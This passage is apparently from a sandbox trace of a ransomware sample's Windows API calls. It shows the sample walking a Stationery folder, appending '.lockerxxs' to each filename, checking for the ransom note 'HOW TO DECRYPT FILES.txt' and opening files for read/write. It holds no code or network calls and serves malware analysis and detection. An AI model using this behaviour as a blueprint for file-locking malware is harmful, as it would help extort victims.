Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.810] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.810] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Soft Blue.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" [0058.810] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" [0058.810] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" [0058.810] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm." [0058.810] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.lockerxxs" [0058.810] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.811] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x4f8270, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0058.811] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.811] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SoftBlue.jpg") returned -1 [0058.811] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SoftBlue.jpg") returned -1 [0058.811] lstrcmpiA (lpString1="", lpString2="SoftBlue.jpg") returned -1 [0058.811] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned="Soft Blue.htm" [0058.811] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.811] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.811] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.811] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.811] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="SoftBlue.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" [0058.811] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" [0058.811] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" [0058.811] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg." [0058.811] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.lockerxxs" [0058.812] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.812] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x4f8270, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0058.812] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.812] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Stars.htm") returned -1 [0058.813] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Stars.htm") returned -1 [0058.813] lstrcmpiA (lpString1="", lpString2="Stars.htm") returned -1 [0058.813] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned="SoftBlue.jpg" [0058.813] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.813] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.813] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.813] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.813] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Stars.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" [0058.813] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" [0058.813] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" [0058.813] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm." [0058.813] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.lockerxxs" [0058.813] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.813] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x4f8268, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0058.813] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.813] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Stars.jpg") returned -1 [0058.813] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Stars.jpg") returned -1 [0058.814] lstrcmpiA (lpString1="", lpString2="Stars.jpg") returned -1 [0058.814] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned="Stars.htm" [0058.814] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.814] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.814] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.814] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.814] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Stars.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" [0058.814] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" [0058.814] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" [0058.814] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg." [0058.814] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.lockerxxs" [0058.814] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.815] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x4f8268, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0058.815] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.815] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Stucco.gif") returned -1 [0058.815] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Stucco.gif") returned -1 [0058.815] lstrcmpiA (lpString1="", lpString2="Stucco.gif") returned -1 [0058.815] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned="Stars.jpg" [0058.815] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.815] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.815] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.815] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.815] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Stucco.gif" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" [0058.816] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0058.816] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.816] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Tanspecks.jpg") returned -1 [0058.816] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Tanspecks.jpg") returned -1 [0058.816] lstrcmpiA (lpString1="", lpString2="Tanspecks.jpg") returned -1 [0058.816] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned="Stucco.gif" [0058.816] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.816] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.816] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.816] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.816] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Tanspecks.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" [0058.816] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" [0058.816] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" [0058.816] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg." [0058.816] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.lockerxxs" [0058.816] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.817] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x4f8270, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0058.817] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.817] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Tiki.gif") returned -1 [0058.817] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Tiki.gif") returned -1 [0058.817] lstrcmpiA (lpString1="", lpString2="Tiki.gif") returned -1 [0058.817] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned="Tanspecks.jpg" [0058.817] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.817] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.818] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.818] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.818] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Tiki.gif" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" [0058.818] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0058.818] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.818] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="To_Do_List.emf") returned -1 [0058.818] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="To_Do_List.emf") returned -1 [0058.818] lstrcmpiA (lpString1="", lpString2="To_Do_List.emf") returned -1 [0058.818] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned="Tiki.gif" [0058.818] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.818] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.818] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.818] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.818] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="To_Do_List.emf" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" [0058.819] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0058.819] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.819] lstrcmpiA (lpString1="ÊÀÊ 